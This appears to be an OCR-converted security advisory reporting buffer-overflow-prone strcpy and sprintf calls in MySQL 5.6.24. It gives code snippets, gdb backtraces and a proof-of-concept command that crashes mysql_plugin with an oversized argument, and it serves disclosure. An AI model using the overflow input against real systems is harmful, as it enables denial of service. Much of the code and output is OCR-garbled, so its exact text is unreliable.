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MySQL Database 5.6.x (LATEST) Security Report

Software Security Notification

Software: Oracle’s MySQL v.5.6.24 (LATEST)
Vulnerability:

(11) Buffer Overflow Vulnerabilities / ~ Deprecated & Insecure Function use (Missing Bounds-checks)

Software Overview

MySQL is an open source relational database management system (RDBMS), and the world’s most popular
Open Source database. MySQL is a popular choice of database for use in web applications, and is a central
component of the widely used LAMP open source web application software stack. MySQL is used in many
high profile large-websites worldwide. MySQL was created by a Swedish company, MySQL AB founded by
David Axmark, Allan Larsson and Michael “Monty” Widenius. The first version of the software appeared on
23 of May, 1995. Oracle Corporation acquired Sun Microsystems in April, 2009 and are now the owners of
MySQL Copyright and Trademark.
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Summary

During a manual source-code audit of Oracle’s MySQL v 5.6.24 database; conducted internally by the
Advanced Information Security Group, instances of insecure function calls were observed in the software. The
issues stem from the lack of any manual control metrics, which would prevent data from being overwritten into
other sensitive locations.
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Code Snippet — [/usr/bin/mysql_plugin] —
(--/mysql/mysql-5.6.24/client/mysql_plugin.c:796)

733 /* read the plugin confiq file and check for match against arqument */
794 elze

785 {

796 strcpy (plugin name, argv[i]);

797 strcpy (config file, argv[i]):

798 strcat (config file, ".ini"};

799 } B

800 }

801

Description

Unsafe use of the strcpy() function, has been triggered resulting in a buffer overflow condition.
Therefore, in the aforementioned experiment input is copied from the command-line, to a fixed length
destination buffer. No bounds checks are provided to ensure that the source does not exceed in size, and
therefore would not overwrite the destination buffer.
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Technical Details

Applications ¥ Places ¥ "~Terminal ¥ Wed 19:48

root@kali: ~

File Edit View Search Terminal Help

*¥** puffer overflow detected ***: /usr/bin/mysql_plugin terminated

Backtrace:
/1ib/1386-1inux-gnu/i686/cmov/libc.so0.6(+0x6c6T3) [Oxb7ce86f3]
/1ib/1386-1inux-gnu/i686/cmov/libc.so.6( fortify fail+0x45) [0xb7d762d5]
/1ib/1386-1inux-gnu/i686/cmov/1libc.so.6(+0xf838a) [Oxb7d7438a]
/1ib/1386-1inux-gnu/i686/cmov/1libc.so.6( strcpy chk+0x37) [Oxb7d73877]
/usr/bin/mysql_plugin(main+0x202) [0x80009e22]
/1ib/1386-1inux-gnu/i686/cmov/libc.so.6(_ libc_start main+0xf3) [Oxb7c95a63]
/usr/bin/mysql _plugin(+0xaS0d) [Ox8000a90d]

80000000-8023cO00 r O000OOLe 00:13 102356 /usr/bin/mysqgl_plugin
8023c000-8023f000 r 0023b000 00:13 102356 /usr/bin/mysql_plugin
8023f0O0-802b5000 00232000 00:13 102356 /usr/bin/mysql plugin
802b5000-802d9000 r O00LLEEL 0O:00 O [heap]
b7300000-b7321000 O000LOLL 6O:00 O
b7321000-b7400000 O0000EL0 00:00 O
b7478000-b7479000 O000OEEe 0O:00 O
b7479000-b7c7c0O0 r O00EEEEE 0O:00 O
b7c7c000-b7e20000 r O000OEEe 00:13 1
9.s0

b7e20000-b7e22000 r 001a4000 00:13 1673 /1ib/i386-1inux-gnu/i686/cmov/1libc-2.1
9.s0

b7e22000-b7e23000 001a6000 00:13 1673 /1ib/i386-1inux-gnu/i686/cmov/1libc-2.1
9.s0

b7e23000-b7e26000 O000OLEe 0O:00 O

b7e26000-b7e42000 0OOOEEEO 00:13 15850 /1ib/1386-1inux-gnu/libgcc_s.so.l
b7e42000-b7e43000 0001b0OGO 0O:13 15850 /1ib/1386-1inux-gnu/libgcc_s.so.l
b7e43000-b7e87000 O0000OLL 0O:13 15645 /1ib/i386-1inux-gnu/i686/cmov/1ibm-2.1

673 /1ib/1386-1inux-gnu/i686/cmov/libc-2.1
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Technical Details

Applications ¥ Places ¥ "~Terminal ~

root@kali: ~

File Edit View Search Terminal Help

b7 fb80EO -b7 fballe rw-p GEEEEEEE : C]
b7 fd9000-b7 fdcOBO rw-p GOEEOEEO ; (€]
b7 fdcOOO-b7fde@B0 r--p OREEEEEO 2 (€] [vvar]

b7 fde@@O-b7fdfOEO r-xp CEEEEEEE GO: [vdso]

b7 fdfOEO-b7 ffe@BO r-xp GOEEOEEO : 1667 /1ib/1386-1linux-gnu/1d-2.19.so
b7 ffe@OO-b7fffOEO r--p 0001 fOOO 2 1667 /1ib/i386-1inux-gnu/1ld-2.19.s0
b7 fffOOO-b8OEOAEE rw-p GOE20000 : 1667 /1ib/1386-1inux-gnu/1d-2.19.s0
bffc9000-cOOEOREE rw-p GOEEEEOE : (0] [stack]

Program received signal SIGABRT, Aborted.

Oxb7fdebe®@ in _ kernel_vsyscall ()

(gdb) bt

#0 Oxb7fdebe® in _ kernel vsyscall ()

#1 Oxb7caa307 in _ GI raise (sig=sig@entry=6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56

#2 0Oxb7cab9c3 in _ GI _abort () at abort.c:89

#3 0Oxb7ce86f8 in _ libc_message (do_abort=do_abort@entry=2,
fmt=fmt@ent ry=0xb7ddbeb55 "*** Sg ***. S%s terminated\n")
at ../sysdeps/posix/libc_fatal.c:175

#4 0xb7d762d5 in _ GI__ fortify fail (
msg=msg@ent ry=0xb7ddbdd6 "buffer overflow detected")
at fortify fail.c:31

#5 0xb7d7438a in _ GI___ chk_fail () at chk_fail.c:28

#6 0xb7d73877 in _ strcpy _chk (dest=0xbffe8c9c 'A' <repeats 200 times>...
src=0xbffe96ed 'A' <repeats 200 times>..., destlen=<optimized out=)
at strcpy_chk.c:60

#7 0x80009e22 in main ()

(CEN |
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Technical Details

(gdb) disas
Dump of assembler code for function _ kernel vsyscall:
Oxb7 fdebdl® <+0>: push %ecx
Oxb7fdebdl <+1>: push %edx
Oxb7 fdebd2 <+2>: push %sebp
Oxb7 fdebd3 <+3>: mov %Sesp,%ebp
Oxb7 fdebdS <+5>: sysenter
Oxb7 fdebd7 <+7>: nop
Oxb7 fdebd8 <+8>: gle]e]
Oxb7 fdebd9 <+9>: gle]e]
Oxb7fdebda <+10>: gle]e]
Oxb7fdebdb <+11>: nop
Oxb7 fdebdc <+12>: nop
Oxb7fdebdd <+13>: gle]e]
Oxb7fdebde <+14>: int
Oxb7fdebel <+16>: pop
Oxb7 fdebel <+17>: pop
Oxb7fdebe2 <+18>: pop
Oxb7fdebe3 <+19>: ret
End of assembler dump.

(gdb) i
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Proof of Concept Exploit — MySQL v5.6.24

Applications ¥ Places ¥ s'Torminal v Wed 21:54

root@kali: ~

File Edt View Search Terminal Help

:~% /usr/bin/mysql plugin "perl -e 'print "A
ar overflow detected ***: /usr/bin/mysql _plugin terminated
Backtrace: =s

" x 9060’

§-

-1inux-gnu/1686/cmov/11bc. ) 343:6'
linux-anu/i686/cmov/1ibc .5 ."' ' Ort
-Linux-gnu/1686/cmov/

LGu--qu 686/cmo

'Jlmmd‘.m"

"t_main+0xf3) [Oxb7191a63]

1386-1inux-gnu/i686/cmov/1ibc-2,
1386-1inux-gnu/i686/cmov/1ibc -2
-Linux-gnu/i686/cmov/11ibc -
-linux
36-1inux
-1inux

-linux-
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Technical Synopsis

The cause of the issue is an unsafe strcpy call; which can lead to a buffer overflow condition. A user-supplied string
from the command-line is copied to a fixed length destination buffer, and the vulnerable function call is demonstrated

below in red.

Source Code at Line: 796
File: (../mysql/mysql-5.6.24/client/mysql_plugin.c)
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MYSQL v5.6.24 Vulnerability List

|. Main.c (../mysql/mysql-5.6.24/regex/main.c:577)

572 char *name;

273 | {

574 gtatic char efbuf[100];

575 Ly regex t re;

576 -~ -~

5712 re.re endp = efbuf;

SO (void) my regerror (MY REG ATCI, &re, efbuf, sizeof(efbuf});
581 return (atoi (efbuf)};

582 |}

Description: A char* type is copied to a fixed length destination buffer. This could lead to a buffer overflow.
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2. Code Snippet — mysql_plugin.c (../mysql/mysql-
5.6.24/client/mysql_plugin.c:796)

793 /* read the plugln config file and check for match against arqument */
194 glse

795 {

146 strcpy(plugin name, argv[i]);

197 strcpy(config file, argv[i]);

148 strcat (config file, ".ini");

(R )

800 | }

801

Description: Unsafe use of strepy could lead to an overflow condition. A user-supplied string from the
command-line is copied to a fixed length destination buffer.
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3. Code Snippet — mysql_plugin.c (../mysql/mysql-
5.6.24/client/mysql_plugin.c:797)

793 /* read the plugin config file and check for match against arqument #/
194 else

195 {

196 strcpy(plugin name, argv(i]};

197 strepy(config file, argv(i]);

198 strcat (config file, ".ini");

799 } )

800 }

801

Description: Unsafe Use of strcpy could lead to an overflow condition. A user-supplied string from the
command-line is copied to a fixed length destination buffer. This could lead to a buffer overflow.

4. Code Snippet — main.c (../mysql/mysql-5.6.24/regex/main.c:544)

shlen = 1; /* force check for end-of-strin

if (stroncmp(p, at, shlem) '= 0} {
sprintf(grump, "matched null at "%.20s
return (grump) ;

r Bl:

}

retorn (NULL) ;

Description: A char* type is being copied to a fixed length destination buffer. This could lead to a buffer
overflow.
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5. Code Snippet — main.c (../mysql/mysql-5.6.24/regex/main.c:525)

519 len = (int) (sub.rm eo - sub.rm so):

20 shlen = (int)strien(should):

521 p = str + sub.rm so;

522

523 ¢ check for not supposed to match *

524 if (should == NULL) {

525 sprintf (grump, "matched &.#*s'", len, p)’
526 return (grump) ;

527 }

Description: Insecure sprintf. A char* type is being copied to a fixed length destination buffer. This could
lead to a buffer overflow.

6. Code Snippet — reader.cpp (../mysql/mysql-
5.6.24/storage/ndb/src/kernel/blocks/dblgh/redoLogReader/reader.cpp:413)

if(argc < 2 || arge » 9){
u3age (argv([0]).;
doExit(};

}

atrcpy(fileName, argv[l]);

Description: Unsafe use of strcpy could lead to an overflow condition. A user-supplied string from the

command-line is written to a fixed length destination buffer. This could lead to a buffer overflow if the input
provided, is of greater size than the destination buffer.
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7. Code Snippet — main.c (../mysql/mysql-5.6.24/regex/main.c:531)

1

/* check for wrong match */
if (len != shlen || strncmp(p, should, (size t)shlen) !=0) {

sprintf (grump, "matched "%.%#3' instead", len, p):
retorn (grump) ;

Description: Unsafe use of strepy could lead to an overflow condition. A char* type is being copied to a
fixed length destination buffer. This could lead to a buffer overflow.

8. Code Snippet — mysqlshow.c (../mysql/mysql-5.6.24/client/mysqlshow.c:710)

01 1if (mysql select db(mysql,dd))

02| |{

03 fprintf(stdexrr,"¢s: Cannot connect to db: §s: ¥s\n",my progname,db,
04 mysql error(mysql)):

08 retarn 1

06 |}

07

08 if (opt_count)

09 |

10 sprintf (query, "select count(*) from &s ", table);

11 if (mysql query(mysql query) 1| ! (resulv=mysql store result(mysql)))
12 {

13 fprincf(stderr,"¥s: Cannot get record count for db: s, table: &s: &s\n®,
14 Ry progname,db, table, mysql error(mysq.)).

15 retarn 1;

16 }

17 row= mysql fetch row(result);

18 rows® (ulong) scrcoull(row(0], (char**) 0, 10);

19 mysql free result(result);

Description: Insecure use of sprintf. A char* type is being copied to a fixed
length destination buffer. This could lead to a buffer overflow.
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9. Code Snippet — conf_to_src.c (../mysql/mysql-
5.6.24/libmysql/conf_to_src.c:121

116 void

117 print_arrays for (char *set)

118 {

119 FILE *f;

120

121 sprintcf (buf, "%s.conf", set):;

122

123 if ((f = fopen(buf, "r")) == NULL) {

124 fprintf (stderr, "%s: can't read conf file for charset %s\n", prog, set):

exic (EXIT FAILURE):

126 }

Description: Insecure use of sprintf. A char* type is being copied to a fixed length destination buffer. This
could lead to a buffer overflow.

10. Code Snippet — PosixAsyncFile.ccp (../mysql/mysql-
5.6.24/storage/ndb/src/kernel/blocks/ndbfs/PosixAsyncFile.cpp:784)

Vol
PosixAsyncFile::rmrfReq(Request *request, const char * src, bool removePath)

]
{
!

if (!request->par.rmrf.directory)
{

Remoys file
ACROVe 1110

if (unlink(src) '= 0 && errno != ENCENT)
IBQuest->error = errno;
return;

1
]
i

char path{PATH MAX];
strcpy(path, src);

785 strcat ‘Eath‘ ’ 2

Description: Unsafe Use of strcpy could lead to an overflow condition. A char* type is being copied to a
fixed length destination buffer. This could lead to a buffer overflow.
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I'I. Code Snippet — Win32AsyncFile.ccp (../mysql/mysql-
5.6.24/storage/ndb/src/kernel/blocks/ndbfs/Win32AsyncFile.cpp:377)

void

Win32AsyncFile::rmrfReqg(Request * request, const char * src, bool removePath){
if (!request->par.rmrf.directory)
{

f1la

if (!DeleteFile(sxc))
{
DWORD dwError = GetlastError():
if (dwError != ERROR FILE NOT_FCUND)
request->error = dwirror;

KAemove

}
return;

}

char path[PATH MAX];
stxcpy(path, src);
strcat (path, "\\*"):

WIN32_FIND DATA ffd;
HANDLE hFindFile’

<<<
Size of PATH is PATH_MAX 256

Description: Unsafe Use of strcpy could lead to an overflow condition. A char* type is being copied to a
fixed length destination buffer. This, could lead to an overflow.
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